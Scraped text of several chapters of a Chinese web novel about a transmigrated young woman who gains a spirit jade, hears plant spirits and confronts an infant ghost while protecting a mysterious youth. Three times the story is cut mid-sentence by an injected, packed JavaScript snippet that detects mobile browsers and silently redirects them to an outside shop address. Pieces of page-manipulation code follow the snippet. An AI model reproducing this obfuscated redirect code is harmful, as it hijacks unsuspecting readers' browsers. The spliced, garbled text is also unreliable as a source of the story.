《阴鸷反派改拿绿茶剧本》 3. 回光(三) “阿祉!还不赶紧过来谢过三殿下!”冉言淮摆出老父亲的威严,厉声呵斥。 冉云祉瘪了瘪嘴,从屏风后挪步到桌前,向戴苍规规矩矩屈膝行了个礼。 “多谢三殿下。” 戴苍为当今圣上第三个儿子,年龄约摸二十上下,身材高挑,一身暗金色衣衫衬得他气质雍容华贵。 再往上看,那张面目却与他的气质稍显违和。他眉目生的张扬,给人一种正派君子的洒脱之感,就算在这稍显正式的场合,但他整个人却不显得疏离。 “三殿下早年间拜师灵泾道长门下,习得一手好武艺,出山后一心行走江湖行侠仗义。”为她梳妆的小丫鬟是这样说的。 昨日他仅仅凭一枚树叶便将其钉在了墙壁上,其威力不亚于暗器飞镖。此等内力,非寻常人可及。 与戴苍行过礼后,冉云祉见到一旁的白衣仙女,甜甜地唤了一声:“姐姐。” 这是与她为孪生姐妹的姐姐冉云清,她乌发如墨,眉目如画。两姐妹容貌虽然完全一样,可冉云清六岁时便跟了灵泾道长学习术法,多年来勤学苦练,沾了些仙风道骨的清冷之感,人似隐在雾中的青山,神秘莫测。 哪怕是最亲近的人,她的眉目间始终淡淡的,似乎并没有什么情绪能真正影响到她。 这便是这个世界的救世主呀,难怪系统会将冉云祉错认成她。 冉云清微微拧了眉,漆黑的眸子紧盯微微仰头望着她笑着的少女,若有所思的轻“嗯”了一声,让冉云祉有一种自己是穿越而来都已经被她看穿的错觉。 与自小习武的冉云清不同,作为留在清云庄主的千金,原身胸无大志,养尊处优,锦衣玉食,一张圆脸总是白里透红。 据说原身六岁那年想着成为一名剑客,握剑的第一天便割了手。 清云庄主心疼女儿,不让其习武,生怕女儿受一点委屈,原身如今全无内力,长成了一个天不怕地不怕的蛮横性子,在这清云山庄里算得上是无人敢招惹的存在。也难怪她见了无乐门主还那么嚣张。 “阿祉!你可知犯了什么大错!”放走了无乐门主,冉言淮铁定要兴师问罪的。 冉云祉已经想好了说辞,委屈道:“是无乐门主把我带去的,阿祉什么也不知道啊……” 反正无乐门主恶贯满盈,她完全没有心理负担的推给他。 但她并不同情原身,在这种事情上拎不清放走魔头,以至于未来这个世界被颠覆,与她脱不了干系。罪魁祸首咎由自取,死的不冤。 看到女儿一副懵懂的神色,冉言淮到底还是心疼女儿,不忍责怪。他一直想让冉云祉活的开心快乐,屋内几人怀着心事,自然没有过多注意冉云祉的古怪,谈论着冉云祉听不懂的话。 戴苍先是询问:“不知这灵泉玉,前辈是从何处得来?” 冉言淮捋了捋胡须,似是回忆起什么深刻的往事来:“说来话长,这也是老夫无意间得来。” 那一年双生姐妹出生时,有一带着斗笠、身披蓑衣的奇怪僧人登门相赠,称这枚灵泉玉吸收天地精华锻造而来,未来或可得机缘造化,避免一场浩劫。 冉云清问:“那个僧人没有说其他的吗?” 冉言淮摇了摇头:“他并未多说什么,只是告诉我不要透露灵泉玉在这里的事情。未来终有一天自会有人来寻,灵泉玉不会轻易择主,除非机缘所致方能唤醒,我只需要等待那个人就好。” 那个人举止怪异,那天没有下雨,他却用蓑衣裹得严严实实,就连面色看起来都有些不对劲,看着襁褓中的两个女孩,嘟囔了一句什么,但是他没有听清。 自僧人消失后,十八年来再未出现过,他多次打探,这个人就像人间蒸发了一样再未出现。 “后来,灵泾道长来到这里,见到阿清后要收她为徒,我以为,灵泉玉等的主人会是阿清。” 不知是阴差阳错还是天意如此,灵泉玉等待的主人是冉云祉。 身在话题中心的冉云祉才不管他们在谈什么,只顾着摆在她面前的两盘糕点,趁着没人注意,飞快捡起一个塞到了嘴里。 甜甜糯糯的味道在口中绽开,一个、两个……一盘糕点见了底,她满意的舔舔嘴唇,这才后知后觉的发现空气不知何时安静了,几人看着她,欲言又止。 “阿祉……你……”冉言淮有些无奈,堂堂清云庄主的女儿,在客人面前像和死鬼投胎一般,委实丢人。 冉云清像没有看到一般,自顾自喝了一杯茶,但那微顿的手指还是稍微泄露了她的情绪。 冉云祉咽了下口水,端正了坐姿:“我……饿了。” 戴苍替她倒了一杯水:“二小姐,还是喝点水,不要噎着。” 冉云祉总算有一点点尴尬的自觉,端起茶水一连喝了好几杯,而戴苍每次都十分好心的替她满上,趁着举杯喝茶时,她用余光偷瞄一下戴苍,他的嘴角微微扬起,带着上扬的弧度,心情很好的样子。 他……他在忍笑。看来这皇子还挺平易近人的。冉云祉想。 “你这丫头……”冉言淮先是瞥了冉云祉一眼,又对戴苍无奈道,“小女在家没大没小惯了,还请三殿下见谅。” “无碍。”他的视线从冉云祉的身上落到一旁的冉云清身上,笑意温柔了些许,“倒是许久不见云清师妹这副模样。” 冉云清听到这话,愣了愣:“我已经不是这个年纪了。” 冉云祉歪起脑袋。哦,原来他是透过她看冉云清。 -- 好不容易被老爹教育了一顿放出来,她生无可恋的踏出屋子,一抬头便看到两个并肩而立的男女站在花坛前细数这些年的近况。 灵泾山避世,少时听闻灵泾道长名号的三殿下戴苍不顾满朝文武反对,带着一腔孤勇,早早拜入灵泾道长门下,成为灵泾道长的第五个弟子。 后来,其掌门灵泾道长早些年云游至清云山庄,见到了冉云清很是投缘,直言其有慧根,便收她为第七个弟子,至今冉云清仍是道长唯一的女弟子。 于是,年少的冉云清和戴苍相遇了。 或许是因为她们是双生子,可是冉云清却有这样的机遇,让原身心理不平衡了吧。 在灵泾山,他们两个年纪相仿,平日里话题也谈得来,总爱在一起研习功法,彼此之间情愫渐生,但两人始终没有挑破这层窗户纸。 直到戴苍到了下山历练的年纪,两人分开。 如今,神物突然现世,无乐门主作乱世间,妄想拿到神物,冉云清奉道长之命下山阻止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14191446|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无乐门主的阴谋。 而轻剑快马逍遥天地的戴苍也来到这里。 有缘之人天南海北也能相遇,两人没有相约重逢,却在清云山庄无意间重逢,完美的诠释不期而遇,自然是满腹相思难以诉说。 冉云祉偷偷瞄了一眼,捂着脸离开了。她才不想在小情侣中间冲充当电灯泡呢。 清云山庄与冉云祉想象中并不一样。她认为的清云山庄这等江湖上人人知晓的门派,应该是隐居于山水之间,绝非坐落在某个小镇青山掩映中的半山腰上。 她坐在花厅里眺望山脚下,夜风无意间吹过,山脚下无数灯火渐次燃起,连成一线,那是生活在泽城的百姓点燃的灯火。 虽然清云山庄也亮着灯,甚至比山脚下的灯火还要亮,可是冉云祉却觉得清云山庄少了一丝人间烟火气,让她呆的极为不自在。更遑论她被关了禁闭以示破阵的惩罚。 她脸上的笑容苦涩。 灵泾山见多识广,自然知道神物的作用。冉云清神色凝重的告诉她:“灵泉玉,为九州灵物之一,通体纯白,治百病,妖物不可近。天下仅此一块,多少人与妖求之不得。” 冉云祉摸了摸坠在自己脖颈上的灵泉玉,它除了那日发出的淡淡暖玉色的光,它和普通的玉没什么区别。 她看不出那玉的好坏,这几日尝试摘下,可那玉就像是生在了她身上一样,始终无法取下。 “灵泉玉认主,除非宿主身死,灵泉玉不会主动脱离。”冉云清补充。 几人的眉头皱成了麻花,在没有找到除了她身死的其他方法外,一致认为冉云祉在清云山庄是最好的选择。 这段时间,冉云清和戴苍住在了清云山庄,与冉言淮一起寻找解开灵泉玉的方法。趁机阻止无乐门主来犯。 没错,这魔头贼心不死,几次三番试图潜入,但他前脚刚来,后脚清云山庄的人出现打了他个措手不及。 从冉云清的只言片语她听到,无乐门主身上的伤还没有好全,估计好一阵子打不了灵泉玉的主意,但无疑他已经把清云山庄记挂上了。 这几人揍反派倒是潇洒了,可是却把冉云祉憋得不轻。 要是在原来的世界,给她一个手机倒是能足不出户宅上十天半个月。但自从来到这个世界,每日的娱乐活动便是赏花,花厅里昨天开了一百三十朵,今天是一百四十一,她百无聊赖地数过去,一天看上千八百遍,她就连那里面有几根花蕊也数遍了。 更何况…… “坏女人,我最讨厌见到她!” “先前就是她,一个不顺心便把紫薇姐姐铲掉了!” “还有银杏爷爷身体上的刻痕,都是这个坏女人刻的!都把银杏爷爷疼哭了。” 往常微风吹动花草的声音,如今落在她耳朵里全是对她的控诉。 自从灵泉玉进入了她的身体里,冉云祉便拥有了一项特殊的能力,可以听到平时听不见的声音,也可以看到一些平日里看不见的精怪。 她看向院子里的那棵少说活了三百年的银杏树,那里坐着一位唉声叹气白发苍苍的老者,仔细看去,老者的身上还有一些纵横交错的刀痕。 而这些,除了妖物本身,或者是修炼多年的术士,寻常人都无法得知他们的存在。 4.回光(四) 这些小精怪们只当她是那个冉云祉,并不知道里面换了一个人。然而它们再怎么抱怨,都无法伤害冉云祉分毫。 她能想象到“冉云祉”站在花丛里,是如何对不能反抗的花草们下手,是怎样一寸寸掰下她们的身体,小小的身躯承受着“冉云祉”肆无忌惮的伤害,最后消逝在天地间。 花草们愤愤不平,冉云祉却恍然不觉,捏着茶杯笑盈盈地淋下来。小精怪们惶恐的抱在一起,哭丧着脸:“这女人又在发疯啦!拿热水烫我们啦!” 想象中灼热的痛感没有到来,花草精怪们伸出舌尖舔了舔:“诶?凉的?这茶水味道还不错呢。” “哼,这女人就是觉得茶凉了不想浪费罢了!” 下一秒,一颗花糕掉落在花坛里,顷刻间消失无形,小精怪们争相分食:“人类的东西尝起来还不错呢!” “行了,看在好东西的份上,我今天少骂她一点吧。” 一人,众妖,虽然他们跨越了两个种族,此时却共同吃着糕点,赏着一轮圆月。冉云祉感觉到一股由内而生的祥和。 冉云祉慢条斯理着吃着糕点,耳朵却竖起来,听着小精怪们吃饱喝足后,纷纷安慰花坛中流泪的虞美人。 “我昔日也和周公子品茶赏花的……”虞美人洁白的白色花瓣蜷在一起包住花蕊,像是在掩面哭泣。 寻常的虞美人多为红色,这株是罕见的白色。冉云祉想着虞美人的花期似乎并没有这么长,眼前这株虞美人的状态似乎并不怎么好,强撑着身子,恹恹的,像是随时便枯萎了。 她与其他花草精怪不同,此株虞美人已经初具人身,冉云祉能看到她一身素白纱衣,只有裙边透着淡淡的分红,墨发如瀑散落脑后,妆容清秀,几乎与寻常人类女子没什么两样。 只是她的裙摆下延伸出来的,不是人类的脚,而是一株花草的根茎。此刻的她以袖遮面,断断续续说起了自己与周公子的故事。 她生于村野之间,在不识花草的乡野百姓之间与杂草没什么两样,唯一的用处也许就是被割下来喂食牲口。 她的姐妹们还未开花之时就没有了开花的机会。 许是她生的位置偏僻,以至于多长了一段时日。 后来,是年少的周公子发现了她,将她带回去种在花圃里。 与他的父亲不同,周公子的人生理想不是成为一介花农,而是成为一个读书人,实现远大理想。 花圃里,虞美人喜欢托着腮看周公子认真读书的模样。 “年华灼灼艳桃李,结发簪花配君子。”他一边读书,一边嘴里念叨着诗句,虞美人不懂那诗的意思,但只觉得从他口中念叨出来的诗句特别美,读书的周公子更是好看的不行。 “你要是能听懂就好了。”有时周公子自己会对着她自说自话,然后又轻笑道,“书上说虞美人是虞姬虔诚所化,你也一定是个大美人吧,不知道你何时能与我见面,共读一本诗书呢?” 那么多花草中,他只对她说过这样一句话,虞美人觉得自己是不同的。 她的愿望由开花到成为与他相伴的人。每一天,他背诗,写作,虞美人便从花圃中偷偷看他,一边努力修炼化形。 人类寿命短暂,须臾之间,他从一个少年到成为风度翩翩的君子,原以为他们终有相见的那一天,直到周公子逢生变故,双亲意外离世,他无奈将家中名贵花草变卖。 “我会将你找回来的。”将她交到一个衣着华贵的仆人手上时,他又一次对她说话,“无论十年,二十年,还是五十年,我都会将你找回来。” “虞姐姐,人类终究和我们不一样的,说不定那人病死了!”花草们摇摆着枝叶,发出窸窸窣窣的声音。 “可是,四十年了,我仍然忘不掉他的音容相貌,忘不掉他将我栽种到院子里的那一天,我相信他会来找我的……” 这是一个才子佳人的故事,冉云祉默默听着,直到夜色更浓,虞美人终于在哭哭啼啼中睡去,她才站起身向着自己的房间走去,一只脚踏入房门时,突然对着身后的丫鬟嘱咐了一句:“明日,请个有经验的花农来。” 小丫鬟把她的话记下,转身离开,那扇刚关上的门突然打开了。 站在屋里的冉云祉笑着,露出了白牙:“对了,帮我打听一下,周公子家住在哪里?” -- 冉云祉觉得自己与这个世界格格不入。丫鬟对她战战兢兢,与冉云清聊天,话不到三句,戴苍便把人截了去,两人当着她的面眉来眼去,冉云祉只能站在一旁为他们的绝美爱情落泪。 虽然不知道世界的走向,但是师兄妹青梅竹马的感情也很好磕。 可是她站在这里实在煞风景,于是冉云祉拍拍屁股,收拾了银子,溜上街潇洒了。 夏日的阳光很毒,凭她对天气的了解,这种天气过不了多久就会下雨。街头像是闷在了蒸笼里,再有几秒就要被烤熟了,刘海黏着湿答答的一点也不舒服。 她来到这个世界也有十几日了,对于她是个炮灰这件事,从最开始的郁闷到现在坦白接受。 相比那些着急忙慌做任务的穿越者,她现在没有KPI,拯救世界也不需要她,随心所欲多好。 如果能在无乐门主手下活下来,她一辈子在清云山庄当个米虫,再找几个帅气的男子养着看着,这样难道不是理想生活吗? 而她在这个世界行走一日,都是一次不可多得的机遇,怎么说都是她赚了。 但她今日的运气看起来不好,炎热的天气并没有多少人出摊,像她这样没有目的地在街头闲逛的行人寥寥无几。 她咬着随手从小摊上买的胡饼。这还是今天为数不多的出摊的商家之一,卖胡饼的老伯生意似乎不是很好,在这样的天气出摊实属不易。 但老伯似乎并没有发现,他的头顶,有一个绿油油颜色看起来像青蛙,模样状似小老鼠一样大小的小精怪艰难的撑着一张荷叶伞。 但它实在太小了,荷叶伞只在老伯脸上投下巴掌大的淡淡阴影,虽然聊胜于无,可它执着的撑着伞岿然不动。 冉云祉偷偷的在桌子上多留了六枚铜钱。小精怪立马向她投来一个感激的笑容,举着荷叶伞的动作也更加卖力了。 六六大顺,希望这老伯之后的生意兴隆吧。 一路上许多店面大门紧闭,稍有几家开着的,掌柜的坐在屋内扇着团扇,流汗望着天,不多时看到一身粉衣的姑娘恹恹的在外面晃,伸长脖子喊了一声:“姑娘,这大热天的,外头不热吗?” 冉云祉也扯着嗓子大声回应了一句:“晒晒太阳出出汗,长命百岁呀!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200694|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她正打算再走一段路,找个小店去避暑,猛然听见“砰”的一声巨响,有什么人倒在她面前的路上。在她还没反应过来的时候,又是一声厉喝:“一看你就手脚不干净,老子身上丢失的钱袋子是你偷的吧!” 那是个穿着一身灰布褂子的少年,年纪看上去和她差不多大。原本干净的衣服沾了泥土,鲜血混着汗水脏兮兮粘在他身上。他似乎是痛的狠了,声音都打着颤,半是解释半是恳求:“我没有。” 他的面前是两个凶神恶煞的汉子,语气里满满的都是嫌恶,挥舞着棍棒打在少年身上:“还敢顶嘴?滚滚滚,就算老子倒霉,别让老子再看见你!” 少年见两人要走,挣扎着起身:“我没有偷东西,你打了我,怎么就这样走了!” “你这小子偷了东西还敢这么嚣张!是不是活的不耐烦了!”男子猛地踹了少年一脚,棍棒又落在少年身上。 街上没有几个行人,先前开着门的老伯扭过头去,多一事不如少一事,无视了发生的这一切。按照往常冉云祉也会一走了之,她小小身板,不爱惹事,她一下子退出了三丈远。 少年痛苦的闷哼像给她的脚注入了铅,每一步都走的沉重万分,就连手中的胡饼也愈加无味起来。 他不会被打死吧? 她鬼使神差回头看了一眼,却没想到少年正直勾勾看着她,偷看被当场逮到,她本来应该走开不管闲事的,但似乎又出于本能向前走去。 算了算了,日行一善,救人一命,也算为自己积累功德了。她安慰自己。 她走上前去拦下了两人的棍棒,扬起一个笑脸来劝架:“大热天的,肝火旺盛对身体不好。得饶人处且饶人,消消气放他一马呗。” “我没有偷。”身后少年带着隐隐哽咽的声音钻进几人的耳中,刚刚平息下的怒火又重新燃烧起来。 “还嘴硬!信不信老子将你这不干净的小手打断!” 话音落下,那人看上去要来真的,举着棍棒恶狠狠地就要落在少年身上,冉云祉在千钧一发之际转过头,对着少年先行发难:“哭什么!你这孩子年纪轻轻竟学会了偷鸡摸狗的行当,你娘是怎么教你的?偷东西是要蹲大牢的,揍你一顿就算了,这是放你一马!可别不识好歹!” “还委屈上了,再多说一句,把你送官信不信!” 她一脸嫉恶如仇的模样,叉着腰指着他的鼻子怒骂,少年似乎被她连珠炮似的骂懵了,一时之间连挣扎的动作都停住了,睁着一双无辜的眼睛呆呆地看着她。 见他闭嘴了,冉云祉回过头,嬉皮笑脸:“两位大哥,您看,这件事就这么过去吧?” 那两人的棍棒迟迟没有落下,两人似乎才刚刚反应过来,你看看我我看看你。大概觉得从来没见过这样的姑娘,看起来弱不禁风,打抱不平时却格外的……彪悍。 他们的视线在空中短暂交汇后,端了架子:“既然这位姑娘都这么说了,那就放你一马,你好自为之。”言毕,又眼神古怪的瞧了冉云祉一眼,走进了屋子里,砰的一声关上了门。 “这小姑娘的脑子也不太清醒的样子……” “算了算了,把这个人打发了就行了,别闹大了,谁让他这么碍眼。” 他们毫不顾忌,这句话还留在风声中,似乎在嘲笑她的多管闲事。 5.婴灵(一) 街道上终于只剩下他们了。 冉云祉回过头来将少年扶起来,他颤颤巍巍的站起来,始终低着头一言不发。 他浑身上下都是伤,汗水顺着额角流下,头发也无力的耷拉下来,像是被抛弃的可怜狗狗。冉云祉见他这副模样委实说不出重话:“好了,他们走了。” 他动了动唇角,开口时声音都带了点哑意,却是倔强的看着她:“我真的没有偷东西。” 冉云祉掏出手绢帮他擦脸上的灰尘,一边擦一边恨铁不成钢的教导:“不管你有没有偷东西,你跟他们说的清吗?到时候一言不和将你送官,我看你怎么办。” 那两人五大三粗的,一个人的身量顶两个他,他这么个瘦弱的小身板连她都比不得,今日不是她拦下来,被打死都有可能。 “我白白挨了一顿打。”他吸了吸鼻子,眼眸半垂,声音更低了些,“我好饿。” 他的脸被她擦干净了,她才发觉这人长的很好看。他五官端正,眉眼干净,尤其是一双眼睛湿漉漉的,透露出一种不被世间凡尘所浸染的干净。 或许正是没有见过世间险恶,才会偏执地认为与那些人有道理可言。 这样的人就应该宠着护着,哪里舍得让他受一点委屈啊! 救便救了,好人便做到底呗。她拽住他的胳膊,笑盈盈地说:“走走走,带你吃顿好吃的。” 她的力气并不大,少年却被她拽的踉跄一下,她不由分说、大步流星,走路的时候还哼着他没有听过的怪异调子,可却像一抹灵动的清风晃了晃他的眼睛。 他有些恼怒的低下头,视线落在两人交握的手上,目光幽暗了几分。 这样纤细柔软的手腕,仿佛轻轻一折就断了。白的像琉璃一般脆弱易碎,若是加一些什么作为点缀,比如浑身遍布的青紫伤痕,再流着鲜红色的血,想必一定会很美。 他微微用了些力,冉云祉嘶的一声微微转过头来,十分抱歉地看了他一眼:“我忘了你受伤了,是不是不好走路?”说罢放缓了脚步。 少年柔弱无害地看了她一眼,轻轻松了松力道,乖顺的任由她牵着。 -- 正午的天越来越闷热,蝉鸣一声又一声耷拉着叫着,但根本不妨碍两个饿鬼填饱肚子大快朵颐。 一碗……又一碗…… 一间普通的不能再普通的馄饨店里,他望着面前的几碗馄饨,又看看面前端起碗不注重形象的冉云祉,看起来有些不知所措。 冉云祉放下一碗,招呼老板再上一碗的时候,少年碗里还一动未动。 “不是饿了么,吃吧。”冉云祉将馄饨推到他面前,“放心吃,不够可以再叫。” 少年睫毛颤了颤,颤颤巍巍的接过面前的馄饨来,他低头看去,这汤汁不知道是用什么骨汤熬成的,散发着特有的浓香,小巧玲珑馄饨像是飘在碗里的金鱼,煞是可爱。 他用勺子小心的捞起来一个,小小的馄饨肉质饱满,放进嘴里,一股许久没有体验过的滋味在唇齿间绽开,刺激的他的心猛烈的一跳。 已经……多久没有吃过温热的食物了? 他发呆的间隙,面前的少女已经对第三碗下手。 她吃东西的时候完全没有女孩子矜持的模样,身为忙碌的社畜,她养成了光速消灭食物的习惯,这种深入骨髓的习惯很难就此改变。 老板的手艺很好,冉云祉一口气吃了四碗,她满足的打了个饱嗝,吃饱喝足,她的幸福就是如此简单。 反观少年,才慢条斯理的吃完一碗馄饨,连汤底都喝了个干干净净,却迟迟没有动第二碗。 “你怎么不吃了?”冉云祉将另一碗馄饨端端正正放到他面前。 按照他这个年纪,正是长身体的时候,她这样的都能喝四碗,少年绝非喝一碗就足够。 “我没有钱还你。”他缩了一下,如实回答,乖巧让冉云祉狠狠心疼了一下。 “这才多少钱呀,你就算再吃十碗也吃不穷我呀。”冉云祉笑了笑,从腰间摸到几锭碎银放在桌子上,“拿着这些,算我补偿你的,想吃什么自己去买,身上的伤也好好养一下。多好看的一张脸,要是留下伤疤倒可惜了。” “我不能收。”他诧异地摇了摇头,将银子推回去。 “没事,我有钱。”她将银子又重新放到他手里,耐心的教导他这个世界生存的法则,“你太乖了,很容易被人欺负的,重新找个生计吧,记得学聪明一点。” “被欺负?”他怔然,又看了她一眼。 可是少女已经不看他了,她站起身来看了看天,这短短的时间太阳便被黑漆漆的乌云遮盖,连屋里也像处在黑夜里。这场雨很快就要落下,她似乎是自言自语:“这场雨不会下很久,你不要着急。” 她跑出来这么久也该被发现了,她要尽快行动才行,要是被困在这场大雨里,又得耽搁好几个时辰。 远处的树下,好像站着一个小孩子? 离得太远,她并不能看清,只是看着看着,却好像有些不对劲。 少年攥住她的衣角:“你现在要走吗?” 她浑浑噩噩地轻嗯了一声,他的眼神惴惴不安,上下眼睫一眨,眸子里瞬间盈满恳求。 他的声音渐渐小了下去,她听不清楚。隐在突然降下的暴雨中。这场酝酿了一整天的大雨嘈杂,大大小小的珠子散落盘中,让冉云祉本就混乱的思绪更乱了。 随着这场大雨的落下,她眼前的景象像是打翻了墨水一般浓重的压下来,视线里只有站在树下的孩子,身旁少年的声音、以及客栈里的人类声音全部隐去,只有小孩子的声音落在耳畔:“到我这里来……” 她忍不住的想要靠近那个声音,可是迈出脚步的那一刻,胸前的灵泉玉突然发出暖玉色的微光,将她的神智拉回来。 “我这是怎么了……” 周遭的人们没有被影响,店家还在端着馄饨为邻座的客人上菜,远处的那几位客人还在谈论这个小镇上的怪谈。 “听说这附近总是发生些怪事。” “陈家前不久扔了个孩子,后悔再去找的时候,那孩子已经不见了。” “这里很久之前就有走丢孩子的传言,离家出走的小孩,没有一个回来的……哎呀,谁把门推开了?” 冉云祉回过头,身旁的少年不知何时已经推开门。豆大的雨点落下来,他顷刻间走入了那场大雨里。 他的脚步还有些滞缓,背影在暴雨里愈发显得单薄。此刻她终于看清了那前方站着的一个六岁左右的孩童,分不清孩童的性别。奇怪的是浑身并没有被暴雨淋湿的痕迹。 可是这里的人仿佛看不到少年和孩童,店家关了门,来到他们桌前,好像也看不见她,惊讶地看着桌子上那一大锭银子:“哪位客人出手这么阔绰。” “是妖?还是结界?”冉云祉反应过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204736|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,她不再等了,深吸一口气重新打开了门,却匆匆看向少年背影时吓了一跳。 就这一会的功夫,厚重的雨幕里,黑压压宛若沉重的黑夜,在她的视线里,少年周围盘旋着数以万计的蝙蝠,趁着雨点撕扯着他的衣物。 他身上的衣服已经被蝙蝠撕烂了,又淋了雨,显示出瘦削的身材。 孩童头发凌乱的垂下,只有一张嘴露出一个诡异的弧度。他的双脚却黑乎乎的一片,像是隔着一层厚重的黑雾。 他浑然不觉的走向站在他面前的诡异孩童,那孩童张着突然张开嘴巴,露出尖利的牙齿,眼看就要将他一整个呑下。 “这是找死啊!”冉云祉急得冲进了大雨里。 她胸前的灵泉玉发出更亮的光,在浓重的夜幕里像是撕裂天际的一道闪电,硬生生划开了黑夜。 围绕在身旁的蝙蝠像被火烧开四散飞去,她一步一步踏入雨中。周边景色极速变幻,路边的屋舍行人甚至是刚刚的馄饨店都消失了,明明她出门前还听到一句“门怎么又开了,”此刻只剩下她与少年,身前的孩童,还有漫天的蝙蝠。 终于走到少年身侧,她一把将他拉进来,自她身边形成了一个圆形的暖玉色光罩,将两人保护了严严实实。 灵泉玉,妖物不可近。 此处妖气滔天,暴雨中像是混进了泥污,将她的衣服也染上了黑色,混合着腐烂的味道几乎把她熏晕过去。还好他身上是干干净净的花香,让她在这让人窒息的环境里得以喘息。 有什么不对劲一闪而过,但在这样的情境下她来不及细想。 “你不知道疼吗!还是想死?”围绕他身侧的蝙蝠被隔绝在外,那孩童也被灵泉玉的光芒逼退,冉云祉松了口气,冲着呆呆的人劈头盖脸的骂下来。 她现在的状态很不好,不仅淋着大雨,身上的衣服让她难受,护罩外面,狂风大作,电闪雷鸣,那些蝙蝠不知道为何突然兴奋了,像追着光源而去的飞蛾,哪怕被灼烧的粉身碎骨,也没有放弃向光罩上撞。 蝙蝠从光罩上跌落,落到地上瞬间化成四分五裂的黑灰。 他没有动作,看着突然出现抱住她的冉云祉,目光空洞茫然,像是被抽去了魂魄,在那双不见光的漆黑眼底却闪着诡异的蓝色幽光。 好像,在哪里见过这样的眼睛…… 他这是和她一样被这妖怪蛊惑了,她有灵泉玉的保护足以保持清醒,可是这人却没有。 “原来,他还是有人要的。”那孩童突然咯咯笑了起来,回荡在雨中的声音显得空灵万分,“可是姐姐,他那么没用,没有人喜欢他,你为什么要管他。” “你给我等着,我先骂完他,再来骂你。”冉云祉平白无故弄得这么狼狈,心情也不好,转过头来冲着那孩童开始数落:“哪家的小孩?下雨了不回家跑大街上发什么疯!攻击普通人干嘛?” 光芒打在孩童的脸上,冉云祉这才看清那孩童是一个男孩,他歪着头似乎很疑惑的样子:“姐姐,原来你能看到我呀?” 如果不是这妖怪制造了结界,路过的行人看到这一幕,定会疑惑一个女子为什么在大雨天里对着空无一人的大街自说自话。 恰在这时,身后有一双凉凉的手掌抓住了她的肩膀,似乎用了十足的力。那双手的主人似乎并不满足,像蛇一样攀上了她的脖子,一寸寸缠紧,几乎要把她的脖子捏断。 她迅速的睁大了眼睛。 6.婴灵(二) 她几乎喘不过气,像溺水的人,漫天的窒息感将她淹没,她两只手抓住他的手指拼命地拽,他的手指修长,明明这么瘦弱的身子骨,却不知道哪里来的力气。 她就不该趟这次浑水,明明知道他被操控了,自己什么本事也没有,还想着来救人。 妖怪不能接近灵泉玉,可是,却不能防止人的靠近。草率了,她没有注意到他才是危险的来源,她毫不怀疑会死在他的手上。 孩童露出一个疑惑的表情来,站在光源外冷漠地注视着这一切。 冉云祉急中生智,在尚存的理智之间,灵泉玉突然散发出更强烈的光,她回过神,用胳膊肘用尽全力将向少年身后撞去。 他身上还有伤,被她这一撞,瞬间松了力道,她终于得到了喘息,回过头看到他捂着腰间,脸上露出了极为痛苦的神色。 “清醒了是吧,清醒了就老实点,我现在心情很不好,你要是再敢对我动手,我就把你扔给这个妖怪。” 她指着少年又是一顿骂,他抬眸,迷惘的看着她。 孩童稚嫩的声音恰在此时响起:“姐姐,你身后那个人很不乖,所以没有人要他。姐姐还是把他丢掉吧。” 他往前走了两步,一直盖在他脸上的头发被风刮开,毫无血色的脸上倒显出了几分不属于他的怨气:“对,就像丢掉我一样,没人要的孩子,就该悄无声息的消失在这个世界上。” 冉云祉的心突然揪了起来,只有她自己知道她是在赌灵泉玉的能力,但是不知道这孩童的实力到底如何,护罩究竟能坚持到什么时候。 “胡说,你怎么知道他没有人要?”冉云祉像老母鸡护崽一样把少年护在身后,手心里全是汗,但她站在那里却没有退后一步。 “因为,我就是自那些没有人喜欢的孩子怨念中化成的妖啊。我能看到,你身后的那个孩子,浑身上下萦绕着被负面的气息,我就是闻着他的气味而来,是以吞噬这样灵魂为生的婴灵。” 漫天的帘幕中,婴灵的笑容渐渐扭曲幻化,站在光罩外,暖玉色的光却不会为他镀上一丝暖意。 “姐姐,看看你的周围吧,你还能坚持多久?他还出手伤过你,扔了他,对你我都好。” 那些蝙蝠还在不顾生死的想要冲破灵泉玉的保护,冉云祉毫不怀疑,这道光芒一但散去,自己和少年都会被一拥而上的蝙蝠撕成碎片。 哪怕是妖,心中也会有遗憾之事,像这种有攻击性的妖,若是一直得不到回应,遗憾便会化为执念。 只要有所求,那就有回旋的余地。 冉云祉的手攥住灵泉玉,深深的吸了一口气,暗自给自己打气,“你还小,你怎么知道未来遇不到喜欢你的人?就像他,今天不就遇到我了?” “可是没有人喜欢我,也没有人关心我。”婴灵注视着冉云祉,哀恸的声音回响在暴雨中。 一瞬间,周边的景色又变了,周边瓦舍变成一座座茅草屋,周围多了一些人,以他们身上的装束来看,似乎是很多年前了。 